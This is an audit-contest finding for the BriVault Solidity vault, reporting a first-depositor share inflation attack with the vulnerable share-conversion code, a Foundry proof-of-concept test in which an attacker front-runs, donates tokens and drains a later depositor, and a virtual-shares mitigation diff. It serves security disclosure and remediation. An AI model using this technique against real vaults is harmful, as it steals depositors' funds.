BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

1:1 Ratio for The Initial Depositor Allows Attacker to Manipulate Shares in Their Favor

Description

  • briVault::_convertToShares function allows the firstDepositor to get 1:1 share ratio upon deposit.

  • This vulnerability allows an attacker to make a very small initialDeposit and then transfer tokens directly to the vault (without using briVault::deposit), enabling them to manipulate subsequent depositors' shares and steal their funds.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
@> if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
@> return assets;
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood:

  • Once the deployment time becomes public attacker will know about the first deposit time.

  • Attacker can monitor the mempool to see the first legitimate deposit transaction and front-run it with a higher gas fee.

  • In multiple tournament deployments (WorldCup, Olympics, Racing), the attack opportunity arises again for each new contract.

Impact:

  • Subsequent depositors might lose their funds due to manipulated share ratio

  • Attacker, might exploit 100% of subsequentDepositors assets

  • The protocol's reputation is completely compromised

  • Once the attack is discovered after the event has started, the protocol cannot recover because all participants will have lost their funds.


Proof of Concept

  1. Attacker either:

    1. monitors the mempool for the first legit deposit & front-run it with minimumAmount deposit or

    2. if the contract deployment time is public, attacker deposits minimumAmount to benefit 1:1 raito

  2. Transfer large amount to the vault immediately

  3. Subsequent depositors receive 0 shares due to rounding

shares = (assets * totalShares) / balanceOfVault

  • assets * totalShares goes down

  • balanceOfVault rises

  • shares becomes less than 1 which will round down to zero as a natural division behaviour in Solidity.

Note: Although Math.mulDiv() is used to calculate shares. It will only be a guard against overflow not the inflation attack.

function test_first_depositor_inflation_vulnerability() public {
// First depositor (attacker) deposits minimal amount
address attacker = makeAddr("attacker");
mockToken.mint(attacker, 20 ether);
uint256 minAmount = 0.0003 ether;
vm.startPrank(attacker);
mockToken.approve(address(briVault), minAmount);
uint256 attacker_shares = briVault.deposit(minAmount, attacker);
// Attacker directly transfers large amount to vault (inflating share value)
// `transfer()` bypasses the `briVault::deposit` and manipulates the asset-to-share ratio
uint256 largeAmount = 5 ether;
mockToken.transfer(address(briVault), largeAmount);
vm.stopPrank();
// The subsequent depositor deposits
uint256 user2DepositAmount = 1 ether;
vm.startPrank(user2);
mockToken.approve(address(briVault), user2DepositAmount);
uint256 user2_shares = briVault.deposit(user2DepositAmount, user2);
vm.stopPrank();
// Set up event and have both join
vm.prank(owner);
briVault.setCountry(countries);
vm.prank(attacker);
briVault.joinEvent(0); // USA
vm.prank(user2);
briVault.joinEvent(0); // Also join USA so they can withdraw
// Event ends, country 0 is set as the winner
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(0); // they both win
// balances before withdrawals
uint256 attackerBalanceBefore = mockToken.balanceOf(attacker);
uint256 user2BalanceBefore = mockToken.balanceOf(user2);
// Attacker withdraws
vm.prank(attacker);
briVault.withdraw();
uint256 attackerBalanceAfter = mockToken.balanceOf(attacker);
uint256 attackerProfit = attackerBalanceAfter - attackerBalanceBefore;
// User2 withdraws (from remaining vault)
vm.prank(user2);
briVault.withdraw();
uint256 user2BalanceAfter = mockToken.balanceOf(user2);
uint256 user2Profit = user2BalanceAfter - user2BalanceBefore;
uint256 vaultAfterWithdraw = mockToken.balanceOf(address(briVault));
// assertions
assertLt(user2_shares, attacker_shares, "User2 should have fewer shares than attacker despite larger deposit");
assertLe(vaultAfterWithdraw, 1, "Vault completely drained");
assertGt(attackerProfit, user2DepositAmount, "Attacker took user2's funds");
assertLt(user2Profit, user2DepositAmount, "User2 lost money");
}

Recommended Mitigation

  • There are several mitigations to prevent this attack but it is best practice to add virtual shares. Assert the followings within briVault.sol:

contract BriVault is ERC4626, Ownable {
+ uint256 private constant INITIAL_VIRTUAL_SHARES = 1000;
+ uint256 private constant INITIAL_VIRTUAL_ASSETS = 1;
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
+ uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this)) + INITIAL_VIRTUAL_ASSETS;
- uint256 totalShares = totalSupply();
+ uint256 totalShares = totalSupply() + INITIAL_VIRTUAL_SHARES;
- if (totalShares == 0 || balanceOfVault == 0) {
- return assets
- }
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!